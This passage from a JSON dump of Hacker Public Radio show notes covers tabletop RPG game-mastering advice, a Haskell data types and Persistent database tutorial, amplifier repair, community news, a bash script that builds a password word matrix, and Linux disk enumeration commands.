                                                            \nGoblins are generally quite impressed with magic, so we're going to assume a wizard of dubious character has bullied a small tribe of them into being his thugs. They've been waylaying passing merchants and farmers, stealing their wares, and carrying off food (along with the occasional peasant worker, as goblins love the taste of human flesh). Stupid, but dreadful creatures, they have displayed a level of tactical organization that's not normal for them. This, of course, is because the wizard's in charge. Look up the statistics for goblins, and understand what they're like. For this adventure, we're not going to worry about goblin captains, or goblin chiefs, both of which are tougher than your average goblin. No, all the creatures for this adventure have the same statistics. Don't drive yourself crazy writing them down, over and over. Write them once at the bottom of the room description page, and every time the player characters run into a goblin, consult them.\n

                                                            \nLet's say there are a total of fifteen goblins in this dungeon. They won't all be together; the player characters will encounter a few of them here and there, in various rooms, or maybe ust wandering the tunnels. The rooms themselves will have the spoils of all their raids, including barrels of wine, hams and sides of beef; furs, and a few copper, silver, and gold coins. If there's wine in one of the rooms, maybe the goblins there are drunk, fighting at a penalty to hit and damage. And remember, not all rooms need things in them. Maybe this was once a temple, and there's just broken furniture, and rotting religious robes in some of the rooms. In one, there might also be a tapestry against the wall, depicting a miracle of whatever god this place was once dedicated to. What you might not tell the player characters up front is that the tapestry could fetch a fair amount of gold coins in the market back in Forestdale. Too big to carry while exploring the dungeon, such a thing could always be rolled up and fetched on their way out. Not all treasure is found in wooden chests.\n

                                                            \nThen again, a lot of it is, so why not put one in the big room to the South? Of course, you have to defeat the evil wizard and his goblin cohorts, wh are hanging out in there. As a rule of thumb, you might want to sprinkle half the goblins throughout the dungeon, leaving the other half here, for the final fight. Stealth matters. Approaching the big room noisily, and kicking open one of the doors, is not stealthy. The player characters might be able to catch the wizard and his minions off-guard, if they move quietly.\n

                                                            \nIn order to be a credible threat to the player characters, this wizard should be of a slightly higher level, say 2nd or 3rd. He'll have some aggressive spells, and he'll have his goblins handy. You'll roll up the wizard the same way the players rolled up their characters, only you'll make him more experienced, and with more spells at his command. Maybe he even has a magic item of some sort. Should the players defeat this guy, this magic item will be part of the treasure; until then, it's something the wizard will use against them. Don't make it too tough. Maybe don't make it tough at all: a +1 Ring of Protection, maybe. Or perhaps, a +1 dagger. That might not sound like much, but it's more than the player character's have when they start.\n

                                                            \nNot enough excitement, maybe? Just add in a couple of giant rats in one of the rooms. Maybe some large spiders in another. Don't forget to put their statistics down in the room description. Judging how tough or easy a dungeon needs to be comes with experience. My suggestion is to err on the side of toughness, to put more challenges in there than maybe you feel comfortable with. If the player characters are looking depleted and injured, you can say the room is empty, instead of filled with spiders. Also, it doesn't hurt at all to remind the players now and then that it's okay to retreat. They can always come back another day when they're rested, and have made plans based on the knowledge they gained the first time around. It sets up a grudge match...the heroes vs. the evil wizard and his goblin hoard. You, as the GM, just repopulate the goblins, move them around a bit, so they're not all in the same rooms as before (though the big room should still be for the final fight), and //voila//! You've just provided your players with two night's worth of entertainment, for the effort of only one.\n

                                                            \nAnd there you have it: a stocked dungeon that dovetails into the local lore of the countryside, ready for your players to explore.\n

                                                            \n\n\nSTEP 04 -- ROLLING UP CHARACTERS\nSome GM's will want a whole night just for this process. Others will just have the players arrive at the game with their characters ready to go, especially if they are experienced with the game. I won't go over the character creation process here, because each game is different, and some are VERY different. I mention this now, though, because the players need characters, and creating them comes before the adventure starts. If the game is as new to them as it is to you, take that whole night to help them create their characters. It's fun all on its own, and it allow's everyone to be familiar with the other characters -- something vital to party survival.\n

                                                            \nI'm not going to go into detail about the process of rolling up characters, because, like you, Klaatu and I have dedicated an evening just to this process. In a previous episode in this mini-series, the two of us created a character from the ground up, so you can hear what's involved, and how you might want to approach the process with your own players.\n

                                                            \n

                                                            Klaatu

                                                            \n

                                                            \nIf designing your own custom dungeon seems intimidating to you, there is another way. And it's a time-honoured, legitimate way to play, and it's quite often the way I play: you go find an adventure that someone else has already written.\n

                                                            \nAn adventure is the scenario you and your players experience when you sit down at the table to play. It's arguably the *game* (the rulebooks are the game engine, or the mechanics). Wizards of the Coast, Paizo, Catalyst, Kobold Press, Frog God, and many others publish adventures (sometimes called \"modules\", \"scenarios\", or \"adventure paths\") written by professional game designers. Published adventures provide the story framework for your game.\n

                                                            \nNot all systems publish adventures, though, or you may choose not to use one. If that's the case, spend some time developing a story. Writing a good game is part science, part craft, and part magic, but if you and your players are up to the challenge, then running blindly through a story that's mostly being created spontaneously on the spot can be a lot of fun. If that sounds overwhelming, though, get a published adventure!\n

                                                            \nQuick tip: Free, small, or introductory adventures are often available from https://drivethrurpg.com, https://dmsguild.com, and https://www.opengamingstore.com\n

                                                            \nMany adventures have text blocks that provide you with introductory text for each part of the game, they explain clearly what the goal of the players is during that segment, and give you guidance on what players will find in the area and how those discoveries lead to the next plot point.\n

                                                            \nBroadly speaking, there are two types of published adventures: there are \"one-shots\" and there are \"modules\" or \"adventure paths\".\n

                                                            \nA one-shot adventure is analogous to a quest in a video game: it's a single, clearly-defined task with a very obvious and immediate result; for example, goblins are terrorizing the hapless citizens of the local village, so go to their cave and clear it out: if you do, you'll relieve the villagers of the horrors, and you get to keep any gold or weapons you find.\n

                                                            \nThe advantage is that it's designed to be a quick, one-time game session, so it's perfect for playing with friends you only see once in a while, or with someone who's never played before and just isn't sure if it's something they want to commit to. Don't be fooled by the page count of these small adventures: it may only be 5 to 10 pages long, sometimes less, but you'll be surprised at how long players can spend exploring a boundless world existing only in their imagination.\n

                                                            \nAdventure paths or modules or campaigns are bigger stories with\nloftier goals. You can think of them as lots of little one-shots\nstrung together so that once players accomplish all the tasks and\nsolve all the mysteries over the course of 200 pages, they have a\nfinal showdown with some Big Bad, and win themselves a place in the\nlegends of the game world. It's an epic poem instead of a short\nstory. It feels grander, it feels important. The losses along the way\nare more profound, and the victories sweeter. These campaigns take\nmonths to play through and usually expect a gaming group to meet\nweekly or fortnightly or at least monthtly to work their way through\nthe tale.\n

                                                            \nI should mention one more kind of book you might stumble across, and\nthose are source books. I mention this because I've had friends go and\nbuy books more or less blindly, and then they bring them back home\ndisappointed that instead of a book of lore about dark elves, they\nbought an adventure set in the underdark. Or the other way round: they\nwanted an adventure and ended up with a rule book.\n

                                                            \nThis happens with the bigger systems that produce a lot of media, like\n{D&D, Shadowrun, Pathfinder, Warhammer}, so get clarity on what you're\nbuying before you make a purchase. If you come across a cool ShadowRun\nbook called RUN FASTER expecting a campaign to run with your friends,\nyou'll be surprised to find that you've purchased a source book full\nof metatypes, expanded rules, and alternate character creation\nmethods: sort of a Shadowrun Core Rulebook part 2. Same goes for, say,\nVolo's Guide with D&D, or Ultimate Campaign in Pathfinder. It can be\noverwhelming and they're not aways labelled clearly (or if they are,\nthe label gets lost in the word cloud of RPG jargon that you're not\nused to yet), so do a little research first.\n

                                                            \nI've played through dungeons that a GM created over his lunch break, and I've played through adventures written by clever game designers, and I can confidently say that they're both great ways to RPG. But as a GM, if you feel overwhelmed by the idea of designing a dungeon, a published adventure is a great way to start. Aside from reading a chapter ahead before each game night, all the prep work is done for you, and there's very little thinking required.\n

                                                            \nAnother part of being GM is deciding when a die roll is necessary. Die rolls represent the chance of success or failure when a specific action is taken, but the confusing thing is: if you think hard enough about anything in the world you can find a chance of success or failure. As a GM, it's up to you to decide what's \"important\" enough for a roll. Strictly speaking, that's determined by the rules. The rules told you what requires a roll, and you're expected to know the rules well enough to make the call.\n

                                                            \nIn practise, however, you have a lot of stuff to track in you head, and remembering what requires a die roll, or deciding to request a die roll even though it may not be strictly required, can feel overwhelming for a new GM.\n

                                                            \nGood news: Players intuitively know when to roll dice. A player knows their character's skills (because they built the character and wrote it down on their character sheet), so sometimes the actions they choose to take are chosen because it falls within a category of a skill they happen to have. A thief probably wouldn't ever think to *look* for hidden door if the thief were a fighter (who would more likely think to pound on the wall rather than to slyly look for a hidden door). So if your player reaches for dice, let them roll because they're probably right.\n

                                                            \nI'm sure it's possible to take it too far, but people like to roll dice. It's part of the fun of an RPG, the uncertainty of subjecting yourself to the whims of fate. So when in doubt, either make your players roll dice, or roll dice yourself. I use dice rolls to help me decide everything from NPC reactions to weather conditions. It's usually safe to default to rolling.\n

                                                            \nWorst case scenario is that die are only picked up for fights and a literal interpretation of skills: and that works because those are the rules as written.\n

                                                            Klaatu

                                                            \n

                                                            \nPlayers drive the story. In video game or movie terminology, they control the \"camera\". When players are exploring or investigating, let them ask questions or take actions (\"I look in the closet\"), and answer them as you see fit (\"You open the closest and see an array of fine garments.\")\n

                                                            \n\"I'll move the clothes aside and examine the walls, and the floor. I'm looking for trap doors or hidden compartments, or anything suspicious.\"\n

                                                            \nAnd so on. Players can choose to investigate and explore for as much as they want. That's the beauty of a pen-and-paper RPG: the world is infinite. That said, you're the GM and you owe it to your players to keep the game moving. You don't to let your players spend 3 real hours searching a room that, in the end, has no bearing upon the plot whatsoever. That can be a delicate matter, because the nature of the game means that you know things that the other players don't, meaning much of the puzzle for players is what they don't know.\n

                                                            \nUsually I let players explore a space on their own until I feel that they've explored the obvious parts of it, and then I remind them where the exits are, or I remind them how many other rooms there are to explore, or some subtle clue to say, without saying, that they've secured an area.\n

                                                            \nIf players are especially suspicious of something, though, you certainly have the power to generate a subplot, and often times you should do that. It's fun for you and rewarding to players. For instance, if a player is convinced that there's a secret panel in a closet and spends a lot of time investigating, then you might decide that there IS a secret panel in the closet, and then roll on a random table to determine what could possible inside that compartment. Or you could leave the compartment empty, thereby creating a story hook to return to later...what used to be in that compartment? who took it, and why? What were the implications?\n

                                                            \nKeeping the gaming moving is an inexact, unscientific process, but usually it comes pretty naturally. When you start to get bored of the players exploring, you can bet that they're probably getting bored too, and that's when you know to urge them forward. If all else fails, you can always have something lure them from one space to another: a mysterious sound, an oncoming threat, or a supernatural or divine instinct.\n

                                                            \n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"rpg,dm,gm,game master,dungeon master,dnd","version":0,"downloads":0,"valid":1}, {"id":2758,"date":"2019-02-27","title":"Haskell - Data types and database actions","duration":2566,"summary":"Brief summary of how to declare your own datatypes in Haskell and how to store data in database","notes":"

                                                            Intro

                                                            \n

                                                            I have been doing series about web programming in Haskell and realized that I might have skipped over some very basic details. Better later than never, I’ll go over some of them briefly (data types and database actions). Hopefully things will make more sense after this (like with my friend, whose last programming course was programming 101 and they said afterwards that now all that 3d and game programming is suddenly making sense).

                                                            \n

                                                            Data types

                                                            \n

                                                            Data here has nothing to do with databases (yet). This is how you can declare your own data types in Haskell. They’re declared with keyword data followed with type name, equals sign and one or more value constructors. Type name and value constructors have to start with uppercase letter.

                                                            \n

                                                            Simplest type is following:

                                                            \n
                                                            data Simple = One
                                                            \n

                                                            This declares a type called Simple that has single possible value: One.

                                                            \n

                                                            More interesting type is shown below. Colour has three possible values: Red, Green and Blue.

                                                            \n
                                                            data Colour =\n    Red\n    | Green\n    | Blue
                                                            \n

                                                            It’s possible to have parameters in value constructor. Following is Payment type that could be used to indicate how payment was done. In case of Cash amount is stored. In case of IOU free text is recorded.

                                                            \n
                                                            data Payment =\n    Cash Double\n    | IOU Text
                                                            \n

                                                            Fictional usage of the Payment is shown below. Function paymentExplanation takes a Payment as parameter and returns Text describing the payment. In case of cash payment, brief explanation of how much was paid is returned. In case of IOU slip the function returns explanation stored in IOU value.

                                                            \n

                                                            paymentExplanation :: Payment -> Text part is type declaration. It states that paymentExplanation takes argument of type Payment and returns result as Text.

                                                            \n
                                                            paymentExplanation :: Payment -> Text\npaymentExplanation payment =\n    case payment of\n        Cash amount ->\n            "Cash payment of " <> (show amount) <> " euros"\n        IOU explanation ->\n            explanation
                                                            \n

                                                            Parameters don’t have to be hard coded in the type definition. Parametrized types allows creating more general code. Maybe is very useful data type that is often used for data that might or might not be present. It can have two values: Nothing indicating that there isn’t value and Just a indicating that value is present.

                                                            \n
                                                            data Maybe a =\n    Nothing\n    | Just a
                                                            \n

                                                            a is type parameter that is filled in when declaring type. Below is a function that takes Maybe Payment as a parameter and if value of payment parameter is Just returns explanation of it (reusing the function we declared earlier). In case of Nothing "No payment to handle" is returned.

                                                            \n
                                                            invoice :: Maybe Payment -> Text\ninvoice payment =\n    case payment of\n        Just x ->\n            paymentExplanation x\n        Nothing ->\n            "No payment to handle"
                                                            \n

                                                            Alternatively one can omit case expression as shown below and write different value constructors directly as parameters. In both cases, compiler will check that programmer has covered all cases and emit a warning if that’s not the case.

                                                            \n
                                                            invoice :: Maybe Payment -> Text\ninvoice (Just payment) =\n    paymentExplanation payment\n\ninvoice Nothing =\n    "No payment to handle"
                                                            \n

                                                            Having several parameters gets soon unwieldy, so lets introduce records. With them, fields have names that can be used when referring to them (either when creating or when accessing the data). Below is Person record with two fields. personName is of type Text and personAge of type Age (that we’ll define in the next step).

                                                            \n
                                                            data Person = Person\n    { personName :: Text\n    , personAge :: Age\n    }
                                                            \n

                                                            To access data in a record, just use field as a function (there’s a bug, I’m turning 40, this month (today even, to be specific, didn’t realize this until I was about to upload the episode), but forgot such a minor detail when recording the episode):

                                                            \n
                                                            me = Person { personName = "Tuukka", personAge = 37 }\nmyAge = personAge me\nmyName = personName me
                                                            \n

                                                            New type is special type of record that can has only one field. It is often used to make sure one doesn’t mix similar data types (shoe size and age can both be Ints and thus mixed if programmer isn’t being careful). Compiler will optimize new types away during compilation, after checking that they’re being used correctly. This offers a tiny performance boost and makes sure one doesn’t accidentally mix different things that happen to look similar.

                                                            \n
                                                            newtype Age = { getAge :: Int }
                                                            \n

                                                            One can instruct compiler to derive some common functions for the data types. There are quite many of these, but the most common ones I’m using are Show (for turning data into text), Read (turning text into data) and Eq (comparing equality).

                                                            \n
                                                            data Payment =\n    Cash Double\n    | IOU Text\n    deriving (Show, Read, Eq)
                                                            \n

                                                            Database

                                                            \n

                                                            In case of Yesod and Persistent, database structure is defined in models file that usually located in config directory. It is read during compile time and used to generate data types that match the database. When the program starts up, it can check structure of the database and update it to match the models file, if migrations are turned on. While this is handy for development, I wouldn’t dare to use it for production data.

                                                            \n

                                                            Following definitions are lifted from the models file of the game I’m working.

                                                            \n
                                                            StarSystem\n    name Text\n    coordX Int\n    coordY Int\n    deriving Show Read Eq
                                                            \n

                                                            This defines a table star_system with columns id, name, coord_x, coord_y. All columns have NOT NULL constraint on them. It also defines record StarSystem with fields starSystemName, starSystemCoordX and starSystemCoordY.

                                                            \n
                                                            Star\n    name Text\n    starSystemId StarSystemId\n    spectralType SpectralType\n    luminosityClass LuminosityClass\n    deriving Show Read Eq
                                                            \n

                                                            This works in the same way and defines table star and record Star. New here is column star_system_id that has foreign key constraint linking it to star_system table. Star record has field starStarSystemId (silly name, I know, but that’s how the generated names go), which has type Key StarSystem.

                                                            \n

                                                            spectral_type and luminosity_class columns in the database are textual (I think VARCHAR), but in the code they’re represented with SpectralType and LuminosityClass data types. In order this to work, we have to define them as normal data types and use derivePersistField that generates extra code needed to store them as text in database:

                                                            \n
                                                            data SpectralType = O | B | A | F | G | K | M | L | T\n    deriving (Show, Read, Eq)\nderivePersistField "SpectralType"\n\ndata LuminosityClass = Iap | Ia | Iab | Ib | II | III | IV | V | VI | VII\n    deriving (Show, Read, Eq)\nderivePersistField "LuminosityClass"
                                                            \n

                                                            Final piece in the example is Planet:

                                                            \n
                                                            Planet\n    name Text\n    position Int\n    starSystemId StarSystemId\n    ownerId FactionId Maybe\n    gravity Double\n    SystemPosition starSystemId position\n    deriving Show Read Eq
                                                            \n

                                                            This introduces two new things: ownerId FactionId Maybe removes NOT NULL constraint for this column in the database, allowing us to omit storing a value there. It also changes type of planetOwnerId into Maybe (Key Faction). Thus, planet might or might not have an owner, but if it has, database ensures that the link between planet and faction (not shown here) is always valid.

                                                            \n

                                                            Second new thing is SystemPosition starSystemId position that creates unique index on columns star_system_id and position. Now only one planet can exists on any given position in a star system.

                                                            \n

                                                            Database isn’t any good, if we can’t insert any data into it. We can do that with a function shown below, that create a solar system with a single planet:

                                                            \n
                                                            createSolarSystem = do\n    systemId <- insert $ StarSystem "Solar system" 0 0\n    starId <- insert $ Star "Sol" systemId G V\n    planetId <- insert $ Planet "Terra" 3 systemId Nothing 1.0\n    return (systemId, starId, planetId)
                                                            \n

                                                            To use the function, we have to use runDB function that handles the database transaction:

                                                            \n
                                                            res <- runDB createSolarSystem
                                                            \n

                                                            There are various ways of loading data from database. For loading a list of them, selectList is used. Here we’re loading all planets that have gravity exactly 1.0 and ordering results by the primary key in ascending order:

                                                            \n
                                                            planets <- runDB $ selectList [ PlanetGravity ==. 1.0 ] [ Asc PlanetId ]
                                                            \n

                                                            Loading by primary key is done with get. It returns Maybe, because data might or might be present that match the primary key. Programmer then has to account both cases when handling the result:

                                                            \n
                                                            planet <- runDB $ get planetId
                                                            \n

                                                            Updating a specific row is done with update function (updateWhere is for multiple rows):

                                                            \n
                                                            _ <- runDB $ update planetId [ PlanetName =. "Earth" ]
                                                            \n

                                                            Finally, sometimes it’s nice to be able to delete the data:

                                                            \n
                                                            _ <- runDB $ delete planetId\n_ <- runDB $ deleteWhere [ PlanetGravity >. 2 ]
                                                            \n

                                                            While persistent is relatively easy to use after you get used to it, it lacks ability to do joins. In such cases one can use library called Esqueleto, that is more powerful and has somewhat more complex API.

                                                            \n

                                                            Extra

                                                            \n

                                                            Because functions are values in Haskell, nothing prevents storing them in data types:

                                                            \n
                                                            data Handler =\n    Simple (Int -> Boolean)\n    | Complex (Int -> Int -> Int)
                                                            \n

                                                            Handler type has two possible values: Simple has a function that turns Int into Boolean (for example odd used to check if given number is odd) and Complex that takes two values of type Int and returns Int (basic arithmetic for example, adding and subtracting).

                                                            \n

                                                            Hopefully this helps you to follow along as I work on the game.

                                                            \n

                                                            Easiest way to catch me nowadays is either via email or on fediverse where I’m Tuula@mastodon.social

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, database","version":0,"downloads":0,"valid":1}, {"id":2759,"date":"2019-02-28","title":"Cleaning the Potentiometers on a Peavey Bandit 65","duration":1244,"summary":"I disassemble and clean the pots on my Peavey Bandit 65 to fix static in the knobs.","notes":"

                                                            Since my daughter has been learning a bit of guitar in the last several months, I've actually gotten my old electric guitar and amplifier back out again after many years in the closet. The amp is a Peavey Bandit 65, which was a an affordable solid-state workhorse kind of amp back in the mid-80s and I've had it since it was new. In this episode I talk through the process of removing the brains of the amp and cleaning the potentiometers to try to get rid of some of the static that's happening when I turn the knobs. I also discover belatedly that the reason I was not getting any distortion when I turned the saturation up was that the amp was stuck on the clean channel — shows how long it's been since I used the amp, I kind of forgot how the thing works!

                                                            \n\n

                                                            Click image below to view photo gallery

                                                            \n\n

                                                            \"Peavey

                                                            \n\n

                                                            Links

                                                            \n\n\n\n

                                                            Credits

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Guitars, electronics, amplifiers, maintenance, repair","version":0,"downloads":0,"valid":1}, {"id":2760,"date":"2019-03-01","title":"What is VNF","duration":445,"summary":"A topic from the Open Networking conference in Amsterdam","notes":"

                                                            A short basic info about VNF

                                                            \n

                                                            https://searchsdn.techtarget.com/definition/virtual-network-functions

                                                            ","hostid":129,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"Virtual network function,VNF,network functions virtualization,NFV","version":0,"downloads":0,"valid":1}, {"id":2761,"date":"2019-03-04","title":"HPR Community News for February 2019","duration":4022,"summary":"HPR Volunteers talk about shows released and comments posted in February 2019","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2740Fri2019-02-01Pop!_OS 18.10 (quick) reviewYannick the french guy from Switzerland
                                                            2741Mon2019-02-04HPR Community News for January 2019HPR Volunteers
                                                            2742Tue2019-02-05SAP Hana Certification DirectoryJWP
                                                            2743Wed2019-02-06Character build in the d20 systemklaatu
                                                            2744Thu2019-02-07Yet Another Rambling Drive Into WorkMrX
                                                            2745Fri2019-02-08My YouTube Subscriptions #1Ahuka
                                                            2746Mon2019-02-11My software part 2Tony Hughes AKA TonyH1212
                                                            2747Tue2019-02-12checking oilbrian
                                                            2748Wed2019-02-13Writing Web Game in Haskell - Special eventsTuula
                                                            2749Thu2019-02-14Lostnbronx and Klaatu commentary from episode 2743klaatu
                                                            2750Fri2019-02-15Windmill is on the FritzKen Fallon
                                                            2751Mon2019-02-18Battling with English - part 3Dave Morriss
                                                            2752Tue2019-02-19XSV for fast CSV manipulations - Part 2Mr. Young
                                                            2753Wed2019-02-20Specific Settings In Storytellinglostnbronx
                                                            2754Thu2019-02-21Craigslist Scam CatchEdward Miro / c1ph0r
                                                            2755Fri2019-02-22My YouTube Subscriptions #2Ahuka
                                                            2756Mon2019-02-25Bash Tips - 20Dave Morriss
                                                            2757Tue2019-02-26How to DMklaatu
                                                            2758Wed2019-02-27Haskell - Data types and database actionsTuula
                                                            2759Thu2019-02-28Cleaning the Potentiometers on a Peavey Bandit 65Jon Kulp
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 10 comments in total.

                                                            \n

                                                            There are 6 comments on\n5 previous shows:

                                                            \n
                                                            • hpr2672\n(2018-10-30) \"Porteus\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nclacke on 2019-02-26:\n\"Re: Test-driving Linux in computer stores\"

                                                              \n
                                                            • hpr2706\n(2018-12-17) \"Why I love the IBM AS/400 computer systems\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nRob on 2019-02-27:\n\"hpr2706 - episode about AS/400\"

                                                              \n
                                                            • hpr2707\n(2018-12-18) \"Steganalysis 101\"\nby Edward Miro / c1ph0r.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2708\n(2018-12-19) \"Ghostscript\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nSteve on 2019-02-07:\n\"Just what I needed\"

                                                              \n
                                                            • hpr2737\n(2019-01-29) \"My Pioneer RT-707 Reel-to-Reel Tape Deck\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 6:\nVulcanRidr on 2019-02-06:\n\"Excellent!\"
                                                              • \n
                                                              • \nComment 7:\nJon Kulp on 2019-02-06:\n\"the RT-909\"

                                                              \n
                                                            \n

                                                            There are 4 comments on 4 of this month's shows:

                                                            \n
                                                            • hpr2741\n(2019-02-04) \"HPR Community News for January 2019\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBrian in Ohio on 2019-02-06:\n\"show notes\"

                                                              \n
                                                            • hpr2743\n(2019-02-06) \"Character build in the d20 system\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-02-06:\n\"Pleasure to listen to\"

                                                              \n
                                                            • hpr2754\n(2019-02-21) \"Craigslist Scam Catch\"\nby Edward Miro / c1ph0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nklaatu on 2019-02-27:\n\"this episode\"

                                                              \n
                                                            • hpr2759\n(2019-02-28) \"Cleaning the Potentiometers on a Peavey Bandit 65\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nNYbill on 2019-02-28:\n\"Stepping on toes!\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-February/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month: windigo

                                                            \n

                                                            Over the period tags and/or summaries have been added to 24 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2762,"date":"2019-03-05","title":"What You Really Are","duration":996,"summary":"Lostnbronx looks back at his early gaming days.","notes":"

                                                            I got into Dungeons & Dragons back in the 1970s. This is my memory of that time and that gaming group, and especially, of the guy who taught me how to play.

                                                            ","hostid":107,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"gaming, D&D, lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2763,"date":"2019-03-06","title":"Deepgeek explains SPF records","duration":849,"summary":"Confused about SPF? Klaatu was. Here's Deepgeek's explanation.","notes":"

                                                            \nKlaatu reads a phlog (gopher) post by Deepgeek explaining the practical uses of SPF records.\n

                                                            ","hostid":78,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"email,spf,mx,postfix,smtp","version":0,"downloads":0,"valid":1}, {"id":2764,"date":"2019-03-07","title":"Personal password algorithms","duration":2444,"summary":"Is it possible to generate a unique password for every site? Klaatu tries.","notes":"

                                                            \nHere is a bash script to generate an org-mode word list matrix.\nIt requires at least one file ending in .list to be used as a source of words or strings.\n

                                                            \n\n
                                                            \n#!/bin/bash\n\nif [ -z $1 ]; then\n    DEST=matrix.org\nelse\n    DEST=$1\nfi\n\ncat >> \"${DEST}\" <<EOF\n| | a | b | c | d | e | f | g | h | i | j | k | l | m | n | o | p | q | r | s | t | u | v | w | x | y | z | ? |\n|-+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---|\nEOF\n\nVERT=(a b c d e f g h i j k l m n o p q r s t u v w x y z ?)\n\ncat *list > tmp || exit\n\nBIG=`wc -l tmp | cut -f1 -d' '`\n\nc=\"0\"\n\nwhile [ \"$c\" -lt \"27\" ]; do\n    # horizontal row across\n    n=\"0\"\n    v=`echo ${VERT[$c]}`\n    printf \"| $v |\" >> \"${DEST}\"\n    while [ \"$n\" -lt \"27\" ]; do\n\ti=`echo $((1 + RANDOM % $BIG))`\n\tw=`awk \"FNR==$i\" tmp`\n\t#reduce chance of empty cell\n\tif [[ -z $w ]]; then\n\t    i=`echo $((1 + RANDOM % $BIG))`\n\t    w=`awk \"FNR==$i\" tmp`\n\t    echo \"blank cell found\"\n\tfi\n\tprintf \"$w | \" >> \"${DEST}\"\n\tn=$[$n+1]\n    done\n    echo \" \" >> \"${DEST}\"\n    c=$[$c+1]\ndone\n\n/usr/bin/rm tmp\n
                                                            \n\n

                                                            \nWhen you open the resulting file (matrix.org by default) in emacs, use the fill-paragraph (m-x fill-paragraph) function to align the cells into a pretty table.\n

                                                            \n\n

                                                            \nInvent your own key, and generate some test passwords.\nDo this 6 or 8 times, and then try to reverse the key using the passwords and the table.\nIf the logic to reverse the key is too simple, then try using values relying on the metadata, rather than data, of the table (for instance, the number of letters in the first word in the table starting with the same letter as the site name, or whatever).\n

                                                            \n\n

                                                            \nDo you have analogue methods of generating passwords?\nPost ideas to either the comments or, better yet, as an HPR episode!\n

                                                            \n\n

                                                            \n Here is a word list for testing:
                                                            \n https://hackerpublicradio.org/eps/hpr2764/hpr2764/hpr2764_wordlist.html\n

                                                            \n","hostid":78,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"password,security,algorithm,puzzle,cipher","version":0,"downloads":0,"valid":1}, {"id":2765,"date":"2019-03-08","title":"My YouTube Subscriptions #3","duration":1329,"summary":"Part three of my list of subscribed channels","notes":"

                                                            I am subscribed to a number of YouTube channels, and I am sharing them with you

                                                            \n\n","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":2766,"date":"2019-03-11","title":"Disk enumeration on Linux","duration":1443,"summary":"Klaatu reviews the various commands used to enumerate drives on Linux","notes":"

                                                            \nThe old way:\n

                                                            \n\n
                                                            \n$ ls /dev/sd*\n
                                                            \n\n

                                                            \nAnother old way:\n

                                                            \n\n
                                                            \n$ fdisk --list\n
                                                            \n\n

                                                            \nAn old way to see what you just plugged in:\n

                                                            \n\n
                                                            \n$ sudo dmesg | tail\n
                                                            \n\n

                                                            \nSome new tricks:\n

                                                            \n
                                                            \n$ lsblk\nNAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT\nsda      8:0    0   2.7T  0 disk \n├─sda1   8:1    0  23.3G  0 part \n└─sda2   8:2    0   2.7T  0 part \nsdb      8:16   0   3.9G  0 disk \nsdc      8:32   0 111.8G  0 disk \n├─sdc1   8:33   0   100M  0 part /boot/efi\n└─sdc2   8:34   0 111.7G  0 part /\nsdd      8:48   0   1.8T  0 disk \n├─sdd1   8:49   0   120G  0 part /var\n├─sdd2   8:50   0   120G  0 part /tmp\n├─sdd3   8:51   0    60G  0 part /opt\n└─sdd4   8:52   0   1.5T  0 part /home\nsde      8:64   0 298.1G  0 disk \n├─sde1   8:65   0   500M  0 part \n├─sde2   8:66   0 296.8G  0 part \n└─sde3   8:67   0   826M  0 part \nsdf      8:80   0 931.5G  0 disk \n└─sdf1   8:81   0 931.5G  0 part \nsdg      8:96   1   7.5G  0 disk \n└─sdg1   8:97   1   7.5G  0 part \n
                                                            \n\n

